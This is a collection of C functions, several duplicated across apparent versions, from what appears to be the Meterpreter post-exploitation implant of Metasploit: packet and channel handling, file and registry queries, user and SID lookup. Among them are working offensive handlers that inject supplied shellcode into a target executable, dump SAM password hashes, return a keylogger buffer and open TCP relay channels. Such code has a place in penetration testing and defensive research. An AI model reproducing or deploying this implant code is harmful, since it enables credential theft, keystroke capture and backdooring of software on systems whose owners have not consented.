/* * sys_getuid * ---------- * * Gets the user information of the user the server is executing as */ DWORD request_sys_config_getuid(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; #ifdef _WIN32 CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; HANDLE token; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { if (!OpenThreadToken(GetCurrentThread(), TOKEN_QUERY, FALSE, &token)) { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &token); } if (!GetTokenInformation(token, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); #else CHAR info[512]; uid_t ru, eu, su; gid_t rg, eg, sg; ru = eu = su = rg = eg = sg = 31337; getresuid(&ru, &eu, &su); getresgid(&rg, &eg, &sg); snprintf(info, sizeof(info)-1, "uid=%d, gid=%d, euid=%d, egid=%d, suid=%d, sgid=%d", ru, rg, eu, eg, su, sg); packet_add_tlv_string(response, TLV_TYPE_USER_NAME, info); #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
DWORD request_peinjector_inject_shellcode(Remote *remote, Packet *packet) { DWORD dwResult = ERROR_SUCCESS; Packet* response = packet_create_response(packet); if (response) { BYTE* shellcode = packet_get_tlv_value_raw(packet, TLV_TYPE_PEINJECTOR_SHELLCODE); UINT size = packet_get_tlv_value_uint(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE); BOOL is_x64 = packet_get_tlv_value_bool(packet, TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64); char* target_executable_path = packet_get_tlv_value_string(packet, TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE); if (shellcode != NULL) { dprintf("[PEINJECTOR] recived path: %s", target_executable_path); dprintf("[PEINJECTOR] recived shellcode: %s", shellcode); dprintf("[PEINJECTOR] recived size: %d", size); dprintf("[PEINJECTOR] is x64: %d", is_x64); PEINFECT infect; peinfect_init(&infect); __load_config(&infect, shellcode, size, is_x64); uint16_t arch = get_file_architecture(target_executable_path); dprintf("[PEINJECTOR] arch: %d", arch); if (!(arch == 0x014c && is_x64 == true || arch == 0x8664 && is_x64 == false)) { if (peinfect_infect_full_file(target_executable_path, &infect, target_executable_path)) { dprintf("Shellcode injected successfully\n"); } else { dprintf("There was an error, shellcode not injected\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "There was an error, shellcode not injected"); } } else { dprintf("The architecture of the file is incompatible with the selected payload\n"); packet_add_tlv_string(response, TLV_TYPE_PEINJECTOR_RESULT, "The architecture of the file is incompatible with the selected payload"); } packet_transmit_response(dwResult, remote, response); } else { dprintf("[PEINJECTOR] Shellcode parameter missing from call"); dwResult = ERROR_INVALID_PARAMETER; } } return dwResult; }
/* * Queries a registry class for a given HKEY. * * TLVs: * * req: TLV_TYPE_HKEY - The HKEY to query the class on */ DWORD request_registry_query_class(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; BYTE valueData[4096]; DWORD valueDataSize = 4096; DWORD result = ERROR_SUCCESS; DWORD valueType = 0; HKEY hkey = NULL; // Acquire the standard TLVs hkey = (HKEY)packet_get_tlv_value_qword(packet, TLV_TYPE_HKEY); do { // Get the size of the value data if ((result = RegQueryInfoKey(hkey, valueData, &valueDataSize, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL)) != ERROR_SUCCESS) break; packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, (LPCSTR)valueData); } while (0); // Populate the result code packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); // Transmit the response packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Expands a file path and returns the expanded path to the requestor * * req: TLV_TYPE_FILE_PATH - The file path to expand */ DWORD request_fs_file_expand_path(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; char *expanded = NULL; char *regular; regular = packet_get_tlv_value_string(packet, TLV_TYPE_FILE_PATH); if (regular == NULL) { result = ERROR_INVALID_PARAMETER; goto out; } // Allocate storage for the expanded path expanded = fs_expand_path(regular); if (expanded == NULL) { result = ERROR_NOT_ENOUGH_MEMORY; goto out; } packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, expanded); free(expanded); out: return packet_transmit_response(result, remote, response); }
/* * @brief Get the UID of the current process/thread. * @param pRequest Pointer to the \c Request packet. * @returns Indication of success or failure. * @remark This is a helper function that does the grunt work * for getting the user details which is used in a few * other locations. */ DWORD populate_uid(Packet* pResponse) { DWORD dwResult; CHAR cbUsername[1024], cbUserOnly[512], cbDomainOnly[512]; BYTE tokenUserInfo[4096]; DWORD dwUserSize = sizeof(cbUserOnly), dwDomainSize = sizeof(cbDomainOnly); DWORD dwSidType = 0; memset(cbUsername, 0, sizeof(cbUsername)); memset(cbUserOnly, 0, sizeof(cbUserOnly)); memset(cbDomainOnly, 0, sizeof(cbDomainOnly)); do { if ((dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo))) != ERROR_SUCCESS) { break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)tokenUserInfo)->User.Sid, cbUserOnly, &dwUserSize, cbDomainOnly, &dwDomainSize, (PSID_NAME_USE)&dwSidType)) { BREAK_ON_ERROR("[GETUID] Failed to lookup the account SID data"); } // Make full name in DOMAIN\USERNAME format _snprintf(cbUsername, 512, "%s\\%s", cbDomainOnly, cbUserOnly); cbUsername[511] = '\0'; packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, cbUsername); dwResult = EXIT_SUCCESS; } while (0); return dwResult; }
/* * @brief Get the user name of the current process/thread. * @param pRemote Pointer to the \c Remote instance. * @param pRequest Pointer to the \c Request packet. * @returns Indication of success or failure. */ DWORD request_sys_config_getuid(Remote* pRemote, Packet* pPacket) { Packet *pResponse = packet_create_response(pPacket); DWORD dwResult = ERROR_SUCCESS; #ifdef _WIN32 dwResult = populate_uid(pResponse); #else CHAR info[512]; uid_t ru, eu, su; gid_t rg, eg, sg; ru = eu = su = rg = eg = sg = 31337; getresuid(&ru, &eu, &su); getresgid(&rg, &eg, &sg); snprintf(info, sizeof(info)-1, "uid=%d, gid=%d, euid=%d, egid=%d, suid=%d, sgid=%d", ru, rg, eu, eg, su, sg); packet_add_tlv_string(pResponse, TLV_TYPE_USER_NAME, info); #endif // Transmit the response packet_transmit_response(dwResult, pRemote, pResponse); return dwResult; }
/*! * @brief Handler called by Meterpreter to dump SAM hashes remotely. * @param remote Pointer to the \c Remote instance for this request. * @param packet Pointer to the \c Packet containing the request. * @returns Indication of success or failure. */ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; char *hashes = NULL; do { dprintf("[PASSWD] starting hash dumping"); // Get the hashes if ((res = control(120000, &hashes)) != ERROR_SUCCESS) { break; } packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes); } while (0); packet_transmit_response(res, remote, response); if (hashes) { free(hashes); } return res; }
/* * sys_getuid * ---------- * * Gets the user information of the user the server is executing as */ DWORD request_getuid(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; CHAR username[512]; DWORD size = sizeof(username); memset(username, 0, sizeof(username)); do { // Get the username if (!GetUserName(username, &size)) { res = GetLastError(); break; } packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); // Transmit the response if (response) { packet_add_tlv_uint(response, TLV_TYPE_RESULT, res); packet_transmit(remote, response, NULL); } return res; }
/* * Open a TCP channel with the remote endpoint */ DWORD network_open_tcp_channel(Remote *remote, LPCSTR remoteHost, USHORT remotePort, PacketRequestCompletion *complete) { Packet *request = packet_create(PACKET_TLV_TYPE_REQUEST, "network_open_tcp_channel"); DWORD res = ERROR_SUCCESS; do { // Verify that the packet was allocated if (!request) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the host/port combination packet_add_tlv_string(request, TLV_TYPE_NETWORK_GENERAL_REMOTE_HOST, remoteHost); packet_add_tlv_uint(request, TLV_TYPE_NETWORK_GENERAL_REMOTE_PORT, remotePort); // Transmit the request res = packet_transmit(remote, request, complete); } while (0); return res; }
/* * @brief Get the SID of the current process/thread. * @param pRemote Pointer to the \c Remote instance. * @param pRequest Pointer to the \c Request packet. * @returns Indication of success or failure. */ DWORD request_sys_config_getsid(Remote* pRemote, Packet* pRequest) { DWORD dwResult; BYTE tokenUserInfo[4096]; LPSTR pSid = NULL; Packet *pResponse = packet_create_response(pRequest); do { dwResult = get_user_token(tokenUserInfo, sizeof(tokenUserInfo)); if (dwResult != ERROR_SUCCESS) { break; } if (!ConvertSidToStringSidA(((TOKEN_USER*)tokenUserInfo)->User.Sid, &pSid)) { BREAK_ON_ERROR("[GETSID] Unable to convert current SID to string"); } } while (0); if (pSid != NULL) { packet_add_tlv_string(pResponse, TLV_TYPE_SID, pSid); LocalFree(pSid); } packet_transmit_response(dwResult, pRemote, pResponse); return dwResult; }
/* * Grabs the LanMan Hashes from the SAM database. */ DWORD request_passwd_get_sam_hashes(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD res = ERROR_SUCCESS; char *hashes = NULL; do { // Get the hashes if (control(120000, &hashes)) { res = GetLastError(); break; } packet_add_tlv_string(response, TLV_TYPE_SAM_HASHES, hashes); } while (0); packet_transmit_response(res, remote, response); if (hashes) free(hashes); return res; }
/* * Queries a registry value's type and data for a given HKEY. * * TLVs: * * req: TLV_TYPE_HKEY - The HKEY to query the value on * req: TLV_TYPE_VALUE_NAME - The name of the value to query */ DWORD request_registry_query_value(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); LPCSTR valueName = NULL; LPBYTE valueData = NULL; DWORD valueDataSize = 4096; DWORD result = ERROR_SUCCESS; DWORD valueType = 0; HKEY hkey = NULL; // Acquire the standard TLVs hkey = (HKEY)packet_get_tlv_value_uint(packet, TLV_TYPE_HKEY); valueName = packet_get_tlv_value_string(packet, TLV_TYPE_VALUE_NAME); do { // Get the size of the value data if ((result = RegQueryValueEx(hkey, valueName, 0, NULL, NULL, &valueDataSize)) != ERROR_SUCCESS) break; // Allocate storage for the value data if (!(valueData = (LPBYTE)malloc(valueDataSize))) continue; // Query the value's information if ((result = RegQueryValueEx(hkey, valueName, 0, &valueType, valueData, &valueDataSize)) != ERROR_SUCCESS) break; // Add the information about the value to the response packet_add_tlv_uint(response, TLV_TYPE_VALUE_TYPE, valueType); switch (valueType) { case REG_SZ: packet_add_tlv_string(response, TLV_TYPE_VALUE_DATA, (LPCSTR)valueData); break; case REG_DWORD: packet_add_tlv_uint(response, TLV_TYPE_VALUE_DATA, *(LPDWORD)valueData); break; default: packet_add_tlv_raw(response, TLV_TYPE_VALUE_DATA, valueData, valueDataSize); break; } } while (0); // Populate the result code packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); // Transmit the response packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Gets the directory separator for this system */ DWORD request_fs_separator(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); return packet_transmit_response(ERROR_SUCCESS, remote, response); }
void request_fs_ls_cb(void *arg, char *name, char *short_name, char *path) { Packet *response = arg; struct meterp_stat s; /* * Add the file name, full path and stat information */ packet_add_tlv_string(response, TLV_TYPE_FILE_NAME, name); packet_add_tlv_string(response, TLV_TYPE_FILE_PATH, path); if (short_name) { packet_add_tlv_string(response, TLV_TYPE_FILE_SHORT_NAME, short_name); } if (fs_stat(path, &s) >= 0) { packet_add_tlv_raw(response, TLV_TYPE_STAT_BUF, &s, sizeof(s)); } }
/* * Write to the remote end of the channel */ DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; LPCSTR method = "core_channel_write"; Packet *request; Tlv methodTlv; do { // Allocate a request packet if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the supplied TLVs packet_add_tlvs(request, addend, addendLength); // If no method TLV as added, add the default one. if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); // Add the channel identifier and the length to write packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); // if the channel data is ment to be compressed, compress it! if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length); else packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); // Initialize the packet completion routine if (completionRoutine) { // Duplicate the completion routine dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } // Transmit the packet with the supplied completion routine, if any. res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
/* * Gets the directory separator for this system */ DWORD request_fs_separator(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); packet_add_tlv_string(response, TLV_TYPE_STRING, FS_SEPARATOR); packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Interact with a given channel such that data on the remote end is * forwarded in real time rather than being polled. */ DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; LPCSTR method = "core_channel_interact"; DWORD res = ERROR_SUCCESS; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the supplied TLVs packet_add_tlvs(request, addend, addendLength); // If no method TLV as added, add the default one. if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); // Add the channel identifier packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); // Add the enable/disable boolean packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); // Initialize the packet completion routine if (completionRoutine) { // Duplicate the completion routine dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } // Transmit the packet with the supplied completion routine, if any. res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
DWORD request_core_machine_id(Remote* remote, Packet* packet) { DWORD res = ERROR_SUCCESS; Packet* response = packet_create_response(packet); if (response) { packet_add_tlv_string(response, TLV_TYPE_MACHINE_ID, get_machine_id()); packet_transmit_response(res, remote, response); } return ERROR_SUCCESS; }
/* * Gets the current working directory * * req: TLV_TYPE_DIRECTORY_PATH - The directory path to change the working * directory to. */ DWORD request_fs_getwd(Remote * remote, Packet * packet) { Packet *response = packet_create_response(packet); char *directory = NULL; DWORD result; result = fs_getwd(&directory); if (directory != NULL) { packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); free(directory); } return packet_transmit_response(result, remote, response); }
static VOID dump_to_packet(LIST* source, Packet* packet, UINT tlvType) { lock_acquire(source->lock); PNODE current = source->start; while (current != NULL) { packet_add_tlv_string(packet, tlvType, (LPCSTR)current->data); current = current->next; } lock_release(source->lock); }
/* * Gets the current working directory * * req: TLV_TYPE_DIRECTORY_PATH - The directory path to change the working * directory to. */ DWORD request_fs_getwd(Remote * remote, Packet * packet) { Packet *response = packet_create_response(packet); char *directory = NULL; DWORD result; result = fs_getwd(&directory); if (directory != NULL) { packet_add_tlv_string(response, TLV_TYPE_DIRECTORY_PATH, directory); free(directory); } packet_add_tlv_uint(response, TLV_TYPE_RESULT, result); return PACKET_TRANSMIT(remote, response, NULL); }
/* * Create a response packet from a request, referencing the requestors * message identifier. */ Packet *packet_create_response(Packet *request) { Packet *response = NULL; Tlv method, requestId; BOOL success = FALSE; PacketTlvType responseType; if (packet_get_type(request) == PACKET_TLV_TYPE_PLAIN_REQUEST) responseType = PACKET_TLV_TYPE_PLAIN_RESPONSE; else responseType = PACKET_TLV_TYPE_RESPONSE; do { // Get the request TLV's method if (packet_get_tlv_string(request, TLV_TYPE_METHOD, &method) != ERROR_SUCCESS) break; // Try to allocate a response packet if (!(response = packet_create(responseType, (PCHAR)method.buffer))) break; // Get the request TLV's request identifier if (packet_get_tlv_string(request, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS) break; // Add the request identifier to the packet packet_add_tlv_string(response, TLV_TYPE_REQUEST_ID, (PCHAR)requestId.buffer); success = TRUE; } while (0); // Cleanup on failure if (!success) { if (response) packet_destroy(response); response = NULL; } return response; }
DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, PUCHAR buffer, ULONG length, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; LPCSTR method = "core_channel_write"; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlvs(request, addend, addendLength); if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, buffer, length); else packet_add_tlv_raw(request, TLV_TYPE_CHANNEL_DATA, buffer, length); packet_add_tlv_uint(request, TLV_TYPE_LENGTH, channel_get_id(channel)); if (completionRoutine) { dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, DWORD addendLength, BOOL enable, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; LPCSTR method = "core_channel_interact"; DWORD res = ERROR_SUCCESS; Packet *request; Tlv methodTlv; do { if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } packet_add_tlvs(request, addend, addendLength); if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); packet_add_tlv_uint(request, TLV_TYPE_CHANNEL_ID, channel_get_id(channel)); packet_add_tlv_bool(request, TLV_TYPE_BOOL, enable); if (completionRoutine) { dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
/* * Tries to open a channel with the remote endpoint, optionally calling the * supplied completion routine upon response. */ DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, ChannelCompletionRoutine *completionRoutine) { PacketRequestCompletion requestCompletion, *realRequestCompletion = NULL; ChannelCompletionRoutine *dupe = NULL; DWORD res = ERROR_SUCCESS; PCHAR method = "core_channel_open"; Packet *request; Tlv methodTlv; do { // Allocate the request if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, NULL))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the supplied TLVs packet_add_tlvs(request, addend, addendLength); // If no method TLV as added, add the default one. if (packet_get_tlv(request, TLV_TYPE_METHOD, &methodTlv) != ERROR_SUCCESS) packet_add_tlv_string(request, TLV_TYPE_METHOD, method); // Initialize the packet completion routine if (completionRoutine) { // Duplicate the completion routine dupe = channel_duplicate_completion_routine(completionRoutine); requestCompletion.context = dupe; requestCompletion.routine = _channel_packet_completion_routine; realRequestCompletion = &requestCompletion; } // Transmit the packet with the supplied completion routine, if any. res = packet_transmit(remote, request, realRequestCompletion); } while (0); return res; }
/* * sys_droptoken * ---------- * * Drops an existing thread token */ DWORD request_sys_config_drop_token(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 DWORD res = ERROR_SUCCESS; CHAR username[512], username_only[512], domainname_only[512]; LPVOID TokenUserInfo[4096]; DWORD user_length = sizeof(username_only), domain_length = sizeof(domainname_only); DWORD size = sizeof(username), sid_type = 0, returned_tokinfo_length; memset(username, 0, sizeof(username)); memset(username_only, 0, sizeof(username_only)); memset(domainname_only, 0, sizeof(domainname_only)); do { core_update_thread_token(remote, NULL); if (!GetTokenInformation(remote->hThreadToken, TokenUser, TokenUserInfo, 4096, &returned_tokinfo_length)) { res = GetLastError(); break; } if (!LookupAccountSidA(NULL, ((TOKEN_USER*)TokenUserInfo)->User.Sid, username_only, &user_length, domainname_only, &domain_length, (PSID_NAME_USE)&sid_type)) { res = GetLastError(); break; } // Make full name in DOMAIN\USERNAME format _snprintf(username, 512, "%s\\%s", domainname_only, username_only); username[511] = '\0'; packet_add_tlv_string(response, TLV_TYPE_USER_NAME, username); } while (0); #else DWORD res = ERROR_NOT_SUPPORTED; #endif // Transmit the response packet_transmit_response(res, remote, response); return res; }
/* * Gets the directory separator for this system */ DWORD request_fs_separator(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); #ifdef _WIN32 LPCSTR separator = "\\"; #else LPCSTR separator = "/"; #endif packet_add_tlv_string(response, TLV_TYPE_STRING, separator); // Set the result and transmit the response packet_add_tlv_uint(response, TLV_TYPE_RESULT, ERROR_SUCCESS); packet_transmit(remote, response, NULL); return ERROR_SUCCESS; }
/* * Create a packet of a given type (request/response) and method. */ Packet *packet_create(PacketTlvType type, LPCSTR method) { Packet *packet = NULL; BOOL success = FALSE; do { if (!(packet = (Packet *)malloc(sizeof(Packet)))) break; memset(packet, 0, sizeof(packet)); // Initialize the header length and message type packet->header.length = htonl(sizeof(TlvHeader)); packet->header.type = htonl((DWORD)type); // Initialize the payload to be blank packet->payload = NULL; packet->payloadLength = 0; // Add the method TLV if provided if (method) { if (packet_add_tlv_string(packet, TLV_TYPE_METHOD, method) != ERROR_SUCCESS) break; } success = TRUE; } while (0); // Clean up the packet on failure if ((!success) && (packet)) { packet_destroy(packet); packet = NULL; } return packet; }
DWORD request_ui_get_keys(Remote *remote, Packet *request) { Packet *response = packet_create_response(request); DWORD result = ERROR_SUCCESS; if (tKeyScan) { // This works because NULL defines the end of data (or if its wrapped, the whole buffer) packet_add_tlv_string(response, TLV_TYPE_KEYS_DUMP, (LPCSTR)g_keyscan_buf); memset(g_keyscan_buf, 0, KEYBUFSIZE); g_idx = 0; } else { result = 1; } // Transmit the response packet_transmit_response(result, remote, response); return ERROR_SUCCESS; }
/* * Transmit a single string to the remote connection with instructions to * print it to the screen or whatever medium has been established. */ DWORD send_core_console_write(Remote *remote, LPCSTR fmt, ...) { Packet *request = NULL; CHAR buf[8192]; va_list ap; DWORD res; do { va_start(ap, fmt); _vsnprintf(buf, sizeof(buf) - 1, fmt, ap); va_end(ap); // Create a message with the 'core_print' method if (!(request = packet_create(PACKET_TLV_TYPE_REQUEST, "core_console_write"))) { res = ERROR_NOT_ENOUGH_MEMORY; break; } // Add the string to print if ((res = packet_add_tlv_string(request, TLV_TYPE_STRING, buf)) != NO_ERROR) break; res = packet_transmit(remote, request, NULL); } while (0); // Cleanup on failure if (res != ERROR_SUCCESS) { if (request) packet_destroy(request); } return res; }